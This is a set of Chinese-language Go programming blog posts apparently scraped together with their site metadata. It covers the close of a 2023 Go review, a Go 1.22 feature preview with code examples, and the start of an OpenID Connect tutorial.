2023年12月份的榜单：\n当你看到Fortran排在Go的前面，你就get到该榜单的抽风式的“不靠谱”了:)。\n综合上述6个榜单，我们可以看到Go语言的2023基本处于稳定发展状态，没有“大踏步”的前进，也没有意想不到的大幅退步。\n今年在国内某乎上总有一些有关“Go在国内是否已凉”的话题，从上面实际情况来看，话题中那些抹黑Go的观点可以不攻自破了。有人会说Rust的强势上升对Go会有一定冲击，这的确不可否认，就像Go当年火速蹿升给Java带去一定冲击一样，这是一门编程语言在演进阶段必会经历的过程，没有什么值得大惊小怪的。5年后，Rust可能同样也会受到来自其他语言的冲击。\nGo语言未来会变得如何，关键还要看Go团队对Go未来演进方向的把握是否得当以及Go社区与生态是否给力。2023年，Go团队也明确了未来的演进机制和策略，接下来我们就来看看。\n3. Go的未来演进 2023年是Go语言开源的第14个年头，Go语言早已蜕下了少年期的青涩，进入到了青年期。这意味着它拥有了越来越成熟稳定的语言特性，同时生态系统也日益丰富完善。作为一门青壮年语言，Go语言在系统设计方面展现出的高度工程化思想，使其轻松应对复杂系统的构建。以go module为主的模块化支持帮助大规模程序更加清晰化，丰富的并发控制手段使其可以处理海量请求。与此同时，Go语言生态也在蓬勃成长——各种高质量框架应运而生，无数module可复用，大量的云原生组件可供选择。这为开发者极大减轻了从零开始搭建系统的工作量。\n和我们人类一样，一门语言进入青年期后的成熟特征并不能完全掩饰其未来演进的迷茫！在Ken Thompson、Rob Pike相继退休后，Russ Cox成为了Go这艘大船的“掌舵者”，Russ Cox与Go团队对编程语言的思考，对Go语言价值观的判断将直接决定Go未来的航向。\n好在，在2023年的GopherCon大会上，我们得到了Russ Cox的答案：那就是基于共同目标和数据驱动的决策。这里借用Russ Cox在演讲中给出的结论来看看具体的演进驱动机制：\n首先，Go需要不断变化，特别是随着计算世界的变化。 其次，任何改变的目标都是为了使Go在软件工程中变得更好，尤其是在规模化(scaling)方面。 第三，一旦我们确定了目标，达成共识的下一个最重要的部分是拥有共享数据来做出决策。 第四，Go工具链遥测是增补我们现有调查和代码分析数据的重要数据来源。 综上来看，Go团队要“拥抱变化”，但不能“无头苍蝇”一样的胡乱改变，而是严谨地基于广泛的数据反馈，包括来自用户调查、vscode插件运行的用户反馈、全年进行的研究访谈和用户体验研究等，以及来自即将加入Go工具链的可选遥测(opt-in Telemetry)功能获取到的更多真实的Go使用数据。\n相信在Go工具链的可选遥测(opt-in Telemetry)功能加入后，Go团队能基于这些用户数据拿到更准确地决策依据，继续让Go这艘大船行驶在正确、光明的航向上！\n4. 小结 在2023年，Go语言继续保持了其稳定性和可靠性的特点。发布了两个大版本，Go 1.20和Go 1.21，其中语法特性的改变相对较少，注重修复和优化。然而，Go语言在其他方面仍然保持着求新和求变的态势。\nGo语言团队致力于优化编译器、工具链、运行时和标准库，以提升生产力和运行时效率。引入了一些新的特性和优化措施，例如PGO（profile-guided optimization）技术的引入和优化、内存管理方面的改进等。同时，Go语言在软件工程领域也进行了一些创新，如简化项目创建的gonew工具、代码覆盖率的采集工具、供应链安全领域的govulncheck工具等。\nGo语言始终保持对新技术、新趋势和社区的开放姿态。在2023年，Go语言对WASM和WASI的支持得到了进一步加强。同时，Go社区也积极响应并跟随Go团队的步伐，面对IT界出现的大语言模型等新兴技术，Go社区也在不断探索和应用。\n总体而言，2023年对于Go语言来说是一个稳中求新、稳中求变的年份。Go语言保持着其简洁、高效和易用的特点，同时积极适应和采纳新的技术和需求，为开发者提供更好的开发体验和工具支持。\n展望未来，Go团队已经明确了更加以共识和用户数据为驱动的演进机制，保证Go的发展方向与实际需求保持同步。随着可选的工具链遥测功能加入，相信他们能基于更丰富的用户数据做出更正确、更具预见性的正确决策。\n我个人依旧坚持我之前的判断：Go将进入或已处于自己的黄金5-10年。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/12/31/the-2023-review-of-go-programming-language/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-2023-review-of-go-programming-language-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/12/31/the-2023-review-of-go-programming-language\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/12/31/the-2023-review-of-go-programming-language\"\u003ehttps://tonybai.com/2023/12/31/the-2023-review-of-go-programming-language\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e时光荏苒，转眼间已经是2023年的最后一天了。《\u003ca href=\"https://tonybai.com/2022/12/29/the-2022-review-of-go-programming-language\"\u003e2022年Go语言盘点：泛型落地，无趣很好，稳定为王\u003c/a\u003e》仿佛就写在昨天。\u003c/p\u003e\n\u003cp\u003e回首这一年，全球彻底从新冠大流行中得以复苏，Go语言也不例外，最直观的表现就是\u003cstrong\u003e全球各地的GopherCon技术大会或小型Meetup都纷纷从停办/线上的状态来到了线下\u003c/strong\u003e，并获得Gopher们的热烈欢迎和踊跃参与，比如下图中的\u003ca href=\"https://www.gophercon.com/\"\u003eGopherCon\u003c/a\u003e、\u003ca href=\"https://www.gophercon.co.uk/\"\u003eGopherCon UK\u003c/a\u003e、\u003ca href=\"https://gophercon.eu/\"\u003eGopherCon Europe\u003c/a\u003e、\u003ca href=\"https://gophercon.com.au/\"\u003eGopherCon Australia\u003c/a\u003e、\u003ca href=\"https://golab.io/\"\u003eGolab\u003c/a\u003e等。\u003c/p\u003e","title":"2023年Go语言盘点：稳中求新，稳中求变"},{"content":"\n本文永久链接 – https://tonybai.com/2023/12/25/go-1-22-foresight\n美国时间2023年12月20日，Go官方宣布Go 1.22rc1发布，开启了为期2个多月的、常规的公测之旅，Go 1.22预计将于2024.2月份正式发布！\n除了在官网下载Go 1.22rc1版本进行新特性体验之外，我们还可以通过在线的Go Playground选择“Go dev branch”来体验(相比下载安装，在线版本体验会有一些局限)：\n注：关于Go的多种安装方法，《Go语言第一课》专栏有系统全面的讲解，欢迎订阅阅读。\n本文将和大家一起看看Go 1.22都会带来哪些新特性。不过由于目前为时尚早，下面列出的有些变化最终不一定能进入到Go 1.22的最终版本中，所以切记一切变更点要以最终Go 1.22版本发布时为准。\n1. 语言变化 Go 1.22的语言特性变化主要是围绕for loop的。\n1.1 loopvar试验特性转正 在Go 1.21版本中，作为试验特性loopvar在Go 1.22中正式转正。如果你还不知道这个特性是啥，我们来看一下下面这个最能说明问题的示例：\n// go1.22-foresight/lang/for-range/for_range.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;sync\u0026quot; ) func main() { sl := []int{11, 12, 13, 14, 15} var wg sync.WaitGroup for i, v := range sl { wg.Add(1) go func() { fmt.Printf(\u0026quot;%d : %d\\n\u0026quot;, i, v) wg.Done() }() } wg.Wait() } 我们分别用Go 1.22rc1和Go 1.21.0来运行上面这段代码：\n// 使用go 1.22rc1的运行结果： $go run for_range.go 4 : 15 1 : 12 0 : 11 3 : 14 2 : 13 // 使用go 1.21.0的运行结果： $go run for_range.go 4 : 15 4 : 15 4 : 15 4 : 15 4 : 15 之所以存在差异，是因为Go 1.22版本开始，for range语句中声明的循环变量（比如这里的i和v）不再是整个loop一份(loop var per loop)，而是每次iteration都会有自己的变量(loop var per-iteration)，这样在Go 1.22中，for range中的goroutine启动的闭包函数中捕获的变量是loop var per-iteration，这样才会输出5个不同的索引值和对应的切片值。\n注：关于Go 1.22版本之前的for range的坑，《Go语言第一课》专栏有图文并茂的原理讲解，欢迎订阅阅读。\n那传统的3-clause的for loop呢？其中的循环变量的语义是否也发生变化了呢？我们看下面示例：\n// go1.22-foresight/lang/for-range/classic_for_loop.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;sync\u0026quot; ) func main() { sl := []int{11, 12, 13, 14, 15} var wg sync.WaitGroup for i := 0; i \u0026lt; len(sl); i++ { wg.Add(1) go func() { v := sl[i] fmt.Printf(\u0026quot;%d : %d\\n\u0026quot;, i, v) wg.Done() }() } wg.Wait() } 我们依然分别用Go 1.22rc1和Go 1.21.0版本运行这段代码，得到的结果如下：\n// 使用go 1.22rc1的运行结果： $go run classic_for_loop.go 0 : 11 4 : 15 2 : 13 3 : 14 1 : 12 // 使用go 1.21.0的运行结果： $go run classic_for_loop.go panic: runtime error: index out of range [5] with length 5 goroutine 20 [running]: main.main.func1() /Users/tonybai/test/go/go1.22-foresight/lang/for-range/classic_for_loop.go:14 +0xc9 created by main.main in goroutine 1 /Users/tonybai/test/go/go1.22-foresight/lang/for-range/classic_for_loop.go:13 +0x7f panic: runtime error: index out of range [5] with length 5 goroutine 19 [running]: main.main.func1() /Users/tonybai/test/go/go1.22-foresight/lang/for-range/classic_for_loop.go:14 +0xc9 created by main.main in goroutine 1 /Users/tonybai/test/go/go1.22-foresight/lang/for-range/classic_for_loop.go:13 +0x7f exit status 2 从输出结果来看，3-clause的for语句中声明的循环变量也变成了loop var per-iteration了。\n在Go 1.22之前，go vet工具在遇到像上面代码那样在闭包中引用循环变量的情况时会给出警告，但由于Go 1.22的这个语义修正，go vet对于Go 1.22及以后版本(根据go.mod中的指示)的类似Go代码将不再报错。\n不过就像Russ Cox在spec: less error-prone loop variable scoping这一issue中提及那样，该特性落地可能会带来不兼容问题，即对存量代码行为的破坏性改变。为此Go团队提供了一个名为bisect的工具，该工具可以检测出存量代码在for loop语义发生变更后是否会导致问题。不过该工具似乎只能与go test一起使用，也就是说你只能对那些被Go测试覆盖到的for loop进行检测。\n目前spec: less error-prone loop variable scoping这一issue还处于open状态，也没有放入Go 1.22 milestone中，不知道后续是否还会存在变数！\n1.2 range支持整型表达式 在Go 1.22版本中，for range后面的range表达式除了支持传统的像数组、切片、map、channel等表达式外，还支持放置整型表达式，比如下面这个例子：\n// lang/range-expr-support-integer/main.go func main() { n := 5 for i := range n { fmt.Println(i) } } 我们知道：for range会在执行伊始对range表达式做一次求值，这里对n求值结果为5。按照新增的for range后接整型表达式的语义，对于整数值n，for range每次迭代值会从0到n-1按递增顺序进行。上面代码中的for range会从0迭代到4(5-1)，我们执行一下上述代码就可以印证这一点：\n$go run main.go 0 1 2 3 4 如果n \u0026lt;= 0，则循环不运行任何迭代。\n这个新语法特性，可以理解为是一种“语法糖”，是下面等价代码的“语法糖”：\nfor i := 0; i \u0026lt; 5; i++ { fmt.Println(i) } 不过，迭代总是从0开始，似乎限制了该语法糖的使用范围。\n1.3 试验特性：range-over-function iterators 在for range支持整型表达式的时候，Go团队也考虑了增加函数迭代器(iterator)，不过前者语义清晰，实现简单。后者展现形式、语义和实现都非常复杂，于是在Go 1.22中，函数迭代器以试验特性提供，通过GOEXPERIMENT=rangefunc可以体验该功能特性。\n在没有函数迭代器之前，我们实现一个通用的反向迭代切片的函数可能是像这样：\n// lang/range-over-function-iterator/backward_iterate_slice_old.go func Backward(s []E) func(func(int, E) bool) { return func(yield func(int, E) bool) { for i := len(s)-1; i \u0026gt;= 0; i-- { if !yield(i, s[i]) { return } } return } } 下面是在Go 1.21.0版本中使用上面Backward函数的方式：\n// lang/range-over-function-iterator/backward_iterate_slice_old.go func main() { sl := []string{\u0026quot;hello\u0026quot;, \u0026quot;world\u0026quot;, \u0026quot;golang\u0026quot;} Backward(sl)(func(i int, s string) bool { fmt.Printf(\u0026quot;%d : %s\\n\u0026quot;, i, s) return true }) } 我们用Go 1.21.0运行一下上述示例：\n$go run backward_iterate_slice_old.go 2 : golang 1 : world 0 : hello 在以前版本中，这种对切片、数组或map中进行元素迭代的情况在实际开发中非常常见，也比较模式化，但基于目前语法，使用起来非常不便。于是Go团队提出将它们与for range结合在一起的提案。有了range-over-function iterator机制后，我们就可以像下面这样使用Backward泛型函数了：\n// lang/range-over-function-iterator/backward_iterate_slice_new.go func main() { sl := []string{\u0026quot;hello\u0026quot;, \u0026quot;world\u0026quot;, \u0026quot;golang\u0026quot;} for i, s := range Backward(sl) { fmt.Printf(\u0026quot;%d : %s\\n\u0026quot;, i, s) } } 相比于上面的老版本代码，这也的代码更简洁清晰了，使用Go 1.22rc1的运行结果也与老版本别无二致：\n$GOEXPERIMENT=rangefunc go run backward_iterate_slice_new.go 2 : golang 1 : world 0 : hello 但代价就是要理解什么样原型的函数才能与for range一起使用实现函数迭代，这的确有些复杂，本文就不展开说了，有兴趣的童鞋可以先看看有关range-over-function iterator的wiki先行了解一下。\n2. 编译器、运行时与工具链 2.1 继续增强PGO优化 自Go 1.20版本引入PGO(profile-guided optimization)后，PGO这种优化技术带来的优化效果就得到了持续的提升：Go 1.20实测性能提升仅为1.05%；Go 1.21版本发布时，官方的数据是2%~7%，而Go 1.21编译器自身在PGO优化过后编译速度提升约6%。\n在Go 1.22中，官方给出的数字则是2%~14%，这14%的提升想必是来自Google内部的某个实际案例。\n2.2 inline和devirtualize 在Go 1.22中，Go编译器可以更灵活的运用devirtualize和inline对代码进行优化了。\n在面向对象的编程中，虚拟函数是一种在运行时动态确定调用的函数。当调用虚拟函数时，编译器通常会为其生成一段额外的代码，用于在运行时确定要调用的具体函数。这种动态调度的机制使得程序可以根据实际对象类型来执行相应的函数，但也带来了一定的性能开销。通过devirtualize优化技术，编译器会尝试在编译时确定调用的具体函数，而不是在运行时进行动态调度。这样可以避免运行时的开销，并允许编译器进行更多的优化。\n对应到Go来说，就是在编译阶段将使用接口进行的方法调用转换为通过接口的实际类型的实例直接调用该方法。\n注：我的《Go语言精进之路》一书中有对通过接口调用方法的原理的详尽说明，欢迎阅读。\n关于内联优化，今年Austin Clements发起了inline大修项目，对Go编译器中的内联优化过程进行全面调整，目标是在Go 1.22中拥有更有效的、具有启发能力的内联，为后续内联的进一步增强奠定基础。该大修的成果目前以GOEXPERIMENT=newinliner试验特性的形式在Go 1.22中提供。\n2.3 运行时 运行时的变化主要还是来自GC。\nGo 1.22中，运行时会将基于类型的垃圾回收的元数据放在每个堆对象附近，从而可以将Go程序的CPU性能提高1-3%。同时，通过减少重复的元数据的优化，内存开销也将降低约1%。不确定减少重复元数据(metadata)这一优化是否来自对unique包的讨论。\n2.4 工具链 在Go工具链改善方面，首当其冲的要数go module相关工具了。\n在Go 1.22中，go work增加了一个与go mod一致的特性：支持vendor。通过go work vendor，可以将workspace中的依赖放到vendor目录下，同时在构建时，如果module root下有vendor目录，那么默认的构建是go build -mod=vendor，即基于vendor的构建。\ngo mod init在Go 1.22中将不再考虑GOPATH时代的包依赖工具的配置文件了，比如Gopkg.lock。在Go 1.22版本之前，如果go module之前使用的是类似dep这样的工具来管理包依赖，go mod init会尝试读取dep配置文件来生成go.mod。\ngo vet工具取消了对loop变量引用的警告，增加了对空append的行为的警告(比如：slice = append(slice))、增加了deferring time.Since的警告以及在log/slog包的方法调用时key-value pair不匹配的警告。\n3. 标准库 最后，我们来看看标准库的变化。每次Go发布新版本，标准库都是占更新的大头儿，这里无法将所有变更点一一讲解，仅说说几个重要的变更点。\n3.1 增强http.ServerMux表达能力 Go内置电池，从诞生伊始就内置了强大的http库，不过长期以来http原生的ServeMux表达能力比较单一，不支持通配符等，这也是Go社区长期以来一直使用像gorilla/mux、httprouter等第三方路由库的原因。\n今年log/slog的作者Jonathan Amsterdam又创建了新的提案：net/http: enhanced ServeMux routing，提高http.ServeMux的表达能力。在新提案中，新的ServeMux将支持如下路由策略(来自http.ServeMux的官方文档)：\n“/index.html”路由将匹配任何主机和方法的路径”/index.html”； “GET /static/”将匹配路径以”/static/”开头的GET请求； “example.com/”可以与任何指向主机为”example.com”的请求匹配； “example.com/{$}”会匹配主机为”example.com”、路径为”/”的请求，即”example.com/”； “/b/{bucket}/o/{objectname…}”匹配第一段为”b”、第三段为”o”的路径。名称”bucket”表示第二段，”objectname”表示路径的其余部分。 下面就是基于上面的规则编写的示例代码：\n// lib/servemux/main.go func main() { mux := http.NewServeMux() mux.HandleFunc(\u0026quot;/index.html\u0026quot;, func(w http.ResponseWriter, req *http.Request) { fmt.Fprintln(w, `match /index.html`) }) mux.HandleFunc(\u0026quot;GET /static/\u0026quot;, func(w http.ResponseWriter, req *http.Request) { fmt.Fprintln(w, `match \u0026quot;GET /static/\u0026quot;`) }) mux.HandleFunc(\u0026quot;example.com/\u0026quot;, func(w http.ResponseWriter, req *http.Request) { fmt.Fprintln(w, `match \u0026quot;example.com/\u0026quot;`) }) mux.HandleFunc(\u0026quot;example.com/{$}\u0026quot;, func(w http.ResponseWriter, req *http.Request) { fmt.Fprintln(w, `match \u0026quot;example.com/{$}\u0026quot;`) }) mux.HandleFunc(\u0026quot;/b/{bucket}/o/{objectname...}\u0026quot;, func(w http.ResponseWriter, req *http.Request) { bucket := req.PathValue(\u0026quot;bucket\u0026quot;) objectname := req.PathValue(\u0026quot;objectname\u0026quot;) fmt.Fprintln(w, `match /b/{bucket}/o/{objectname...}`+\u0026quot;:\u0026quot;+\u0026quot;bucket=\u0026quot;+bucket+\u0026quot;,objectname=\u0026quot;+objectname) }) http.ListenAndServe(\u0026quot;:8080\u0026quot;, mux) } 我们使用curl对上述示例进行一个测试(前提是在/etc/hosts中设置example.com为127.0.0.1)：\n$curl localhost:8080/index.html match /index.html $curl example.com:8080/static/abc match \u0026quot;example.com/\u0026quot; $curl localhost:8080/static/abc match \u0026quot;GET /static/\u0026quot; $curl example.com:8080/ match \u0026quot;example.com/{$}\u0026quot; $curl example.com:8080/b/mybucket/o/myobject/tonybai match \u0026quot;example.com/\u0026quot; $curl localhost:8080/b/mybucket/o/myobject/tonybai match /b/{bucket}/o/{objectname...}:bucket=mybucket,objectname=myobject/tonybai 从测试情况来看，不同路由设置之间存在交集，这就需要路由匹配优先级规则。新版Go ServeMux规定：如果一个请求有两个或两个以上的模式匹配，则更具体(specific)的模式优先。如果P1符合P2请求的严格子集，也就是说，如果P2符合P1及更多的所有请求，那么P1就比P2更具体。\n举个例子：”/images/thumbnails/”比”/images/”更具体，因此两者都可以注册。前者匹配以”/images/thumbnails/”开头的路径，后者则匹配”/images/”子树中的任何其他路径。\n如果两者都不更具体，那么模式就会发生冲突。为了向后兼容，这一规则有一个例外：如果两个模式发生冲突，而其中一个模式有主机(host)，另一个没有，那么有主机的模式优先(比如上面测试中的第二次curl执行)。如果通过ServeMux.Handle或ServeMux.HandleFunc设置的模式与另一个已注册的模式发生冲突，这些函数就会panic。\n增强后的ServeMux可能会影响向后兼容性，使用GODEBUG=httpmuxgo121=1可以保留原先的ServeMux行为。\n3.2 增加math/rand/v2包 在日常开发中，我们多会在生成随机数的场景下使用math/rand包，其他时候使用的较少。但Go 1.22中新增了math/rand/v2包，我之所以将这个列为Go 1.22版本标准库的一次重要变化，是因为这是标准库第一次为某个包建立v2版本包，按照Russ Cox的说法，这次v2包的创建，为标准库中的其他可能的v2包树立了榜样。创建math/rand/v2可以使Go团队能够在一个相对不常用且风险较低的包中解决工具问题（如gopls、goimports等对v2包的支持），然后再转向更常用、风险更高的包，如sync/v2或encoding/json/v2等。\n新增rand/v2包的直接原因是清理math/rand并修复其中许多悬而未决的问题，特别是使用过时的生成器、慢速算法以及与crypto/rand冲突的问题，这里就不针对v2包举具体的示例了，对该包感兴趣的同学可以自行阅读该包的在线文档，并探索如何使用v2包。\n同时，该提案也为标准库中的v2包的创建建立了一种模式，即v2包是原始包的子目录，并且以原始包的API为起点，每个偏离点都要有明确的理由。\n想当初，go module刚落地到Go中时，Go module支持两种识别major的两种方式，一种是通过branch或tag号来识别，另外一种就是利用vN目录来定义新包。当时还不是很理解为什么要有vN目录这种方式，现在从math/rand/v2包的增加来看，足以体现出当初module设计时的前瞻性考量了。\n3.3 大修Go execution tracer Go Execution Tracer是解决Go应用性能方面“疑难杂症”的杀手锏级工具，它可以提供Go程序在一段时间内发生的情况的即时视图。这些信息对于了解程序随时间推移的行为非常宝贵，可辅助开发人员对应用进行性能改进。我曾在《通过实例理解Go Execution Tracer》中对其做过系统的说明。\n不过当前版本的Go Execution Tracer在原理和使用方面还存在诸多问题，Google的Michael Knyszek在年初发起了Execution tracer overhaul的提案，旨在对Go Execution Tracer进行改进，使Go Execution Tracer可扩展到大型Go部署的Go执行跟踪。具体目标如下：\n使跟踪解析所需的内存占用量仅为当前的一小部分。 支持可流式传输的跟踪，以便在无需存储的情况下进行分析。 实现部分自描述的跟踪，以减少跟踪消费者的升级负担。 修复长期存在的错误，并提供一条清理实现的路径。 在近一年的时间里，Knyszek与Felix Geisendorfer、Nick Ripley、Michael Pratt等一起实现了该提案的目标。\n鉴于篇幅，这里就不对新版Tracer的使用做展开说明，有兴趣的童鞋可结合《通过实例理解Go Execution Tracer》中的使用方法自行体验新版Tracer。\n注：新版Tracer的设计文档 – https://go.googlesource.com/proposal/+/ac09a140c3d26f8bb62cbad8969c8b154f93ead6/design/60773-execution-tracer-overhaul.md\n3.4 其他 “出尔反尔” – syscall包：取消弃用(undeprecate) 自Go 1.4版本以来，syscall包新特性就已经被冻结，并在Go 1.11版本中被标记为不推荐使用(deprecate)。Go团队推荐gopher使用golang.org/x/sys/unix或golang.org/x/sys/windows。syscall包的大多数功能都能被golang.org/x/sys包替代，除了下面这几个：\nsyscall.SysProcAttr（类型os/exec.Cmd.SysProcAttr) syscall.Signal（参考文献os.Signal) syscall.WaitStatus（参考文献os.(*ProcessState).Sys) syscall.Stat_t ... ... 由于syscall包已经弃用，IDE等工具在开发人员使用上述内容时总是得到警告！这引发了众多开发人员的抱怨。为此，在Go 1.22版本中，syscall取消了弃用状态，但其功能特性依旧保持冻结，不再添加新特性。\nTCPConn to UnixConn：支持zerocopy gnet作者Andy Pan的提案：TCPConn to UnixConn：支持zerocopy在Go 1.22落地，具体内容可以看一下原始提案issue。\n新增go/version包 在Go 1.21版本发布后，Go团队对Go语言的版本规则做了调整，并明确了Go语言的向前兼容性和toolchain规则，Go 1.22中增加go/version包实现了按照上述版本规则的Go version判断，这个包既用于go工具链，也可以用于Gopher自行开发的工具中。\n4. 小结 Go 1.22版本具有至少两点重要的里程碑意义：\n通过对loopvar语义的修正，开启了Go已有“语法坑”的fix之路 通过math/rand/v2包树立了Go标准库建立vN版本的模式 “语法坑”fix是否能得到社区正向反馈还是一个未知数，其导致的兼容性问题势必会成为Go社区在升级到Go 1.22版本的重要考虑因素，即便决定升级到Go 1.22，严格的代码审查和测试也是必不可少的。\n最后，感谢Go团队以及所有Go 1.22贡献者做出的伟大工作！\n文本涉及的源码可以在这里下载。\n5. 参考资料 -Go 1.22 Milestone – https://github.com/golang/go/milestone/298\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/12/25/go-1-22-foresight/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-1-22-foresight-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/12/25/go-1-22-foresight\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/12/25/go-1-22-foresight\"\u003ehttps://tonybai.com/2023/12/25/go-1-22-foresight\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e美国时间2023年12月20日，\u003ca href=\"https://groups.google.com/g/golang-announce/c/FIUY9kd7fc0\"\u003eGo官方宣布Go 1.22rc1发布\u003c/a\u003e，开启了为期2个多月的、常规的公测之旅，Go 1.22预计将于2024.2月份正式发布！\u003c/p\u003e","title":"Go 1.22新特性前瞻"},{"content":"\n本文永久链接 – https://tonybai.com/2023/12/22/understand-oidc-by-example\n在《通过实例理解OAuth2》一文中，我们以实例方式讲解了OAuth2授权码模式(Authorization Code)模式的工作原理。实例中的照片冲印服务经过用户(tonybai)的授权后，使用用户提供的code(实则是由授权服务器分配并通过用户的浏览器重定向到照片冲印服务的)到授权服务器换取了access token，并最终使用access token从云盘系统中读取到了用户的照片信息。\n不过，拿到了access token的照片冲印服务并不知道这个access token代表的是云盘服务上的哪个用户，要不是云盘服务在照片list接口返回了用户名(tonybai)，照片冲印服务还需要自己为授权给它的用户创建一个临时的用户id标识。当tonybai用户一周后再次访问照片冲印服务时，照片冲印服务还需要再走一次OAuth2授权流程，这对用户的体验并不好。\n从照片冲印服务角度来说，它希望在用户第一次使用服务并授权时，就能得到用户身份信息，将用户加入到自己的用户体系中，并通过类似基于会话的身份认证机制在用户后续使用服务时自动识别并认证用户身份。这样，既可以避免用户额外单独注册账号的不佳体验，又可以避免用户下次使用服务时繁琐地授权过程。\n然而，尽管OAuth 2.0是一个需要用户交互的安全协议，但它终归不是身份认证协议。但很多像照片冲印服务这样的应用还有通过像云盘系统这一的大厂应用进行用户身份认证的强烈需求，于是有很多厂商都制定了各自专用的标准，比如Facebook、Twitter、LinkedIn和GitHub等，但这些都是专用协议，缺乏标准性，开发者要逐一开发和适配。\n于是OpenID基金会基于OAuth2.0制定了OpenID Connect(简称OIDC)这样的开放身份认证协议标准，可以在不同厂商之间通用。\n在这篇文章中，我们就来介绍一下基于OpenID的身份认证原理，有了上一篇OAuth2做铺垫，OIDC理解起来就非常容易了。\n1. OpenID Connect(OIDC)简介 OpenID Connect是一个开放标准，由OpenID基金会于2014年2月发布。它定义了一种使用OAuth 2.0执行用户身份认证的互通方式。由于该协议的设计具有互通性，一个OpenID客户端应用可以使用同一套协议语言与不同的身份提供者交互，而不需要为每一个身份提供者实现一套有细微差别的协议。OpenID Connect直接基于OAuth 2.0构建，并保持了OAuth2.0的兼容性。现实世界中，在多数情况下，OIDC都会与保护其他API的OAuth基础架构部署在一起。\n我们在学习OAuth 2.0时，首先了解了该协议涉及的几个实体，如Client、Authorization Server、Resource Server、Resource owner、Protected resouce等，以及它们的交互流程。知道了这些也就掌握了OAuth2的内核。以此为鉴，我们学习OIDC协议，也从了解都有哪些实体参与了协议交互，以及它们的具体交互流程开始。\nOpenID Connect是一个协议套件(OpenID Connect Protocol Suite)，涉及Core、Discovery、Dynamic Client Registration等：\n不过这里我们仅聚焦OpenID Connect的core 1.0协议规范。\n就像OAuth2.0支持四种授权模式一样，OIDC基于这四种模式，整合出了三种身份认证类型：\nAuthentication using the Authorization Code Flow Authentication using the Implicit Flow Authentication using the Hybrid Flow 其中Authentication using the Authorization Code Flow这种基于OAuth2授权码流程的身份认证方案应该是使用最为广泛的，本文也将基于这个流程对OIDC进行理解，并赋以实例。\n1.1 OIDC协议中的实体与交互流程图 下面是OIDC规范中给出的通用的身份认证流程图，这个图是高度抽象的，适合上面三个flow：\n通过这个图，我们先来认识参与OIDC流程中的三个实体：\nRP(Relying Party) 图的最左端是一个叫RP的实体，如果对应到OAuth2.0那篇文章中的示例，这个RP对应的就是示例中的照片冲印服务，也就是OAuth2.0中的Client，即需要用户(EU)授权的那个实体。\nOP(OpenID Provider) OP对应的是OAuth2.0中的Authorization Server+Resource Server，不同的是在OIDC这个特殊场景下，Resource Server中存储的resource就是用户的身份信息。\nEU(End User) EU，顾名思义就是使用RP服务的用户，它对应OAuth2.0中的Resource Owner。\n结合这些实体、上面的抽象流程图以及OAuth2授权码模式的交互图，我画一下OIDC基于授权码模式进行身份认证的实体间的交互图，这里我们依旧以用户使用照片冲印服务为例：\n上图就是一个基于授权码流程的OIDC协议流程，是不是赶脚跟OAuth 2.0中的授权码模式的流程几乎完全一致啊!\n唯一的区别就是授权服务器(OP)在返回access_token的同时，还多返回了一个ID_TOKEN，我们称这个ID_TOKEN为ID令牌，这个令牌是OIDC身份认证的关键。\n1.2 ID_TOKEN的组成 从上图中，我们看到ID_TOKEN与普通的OAuth access_token一起提供给Client(RP)使用，与access_token不同的是，RP是需要对ID_TOKEN进行解析的。那么这个ID_TOKEN究竟是什么呢？在OIDC协议中，ID_TOKEN是一个经过签名的JWT，\nOIDC协议规范规定了该jwt应该包含的字段信息，包括必选的(REQUIRED)与可选的(OPTIONAL)，在这里我们了解下面的必选字段信息即可：\niss 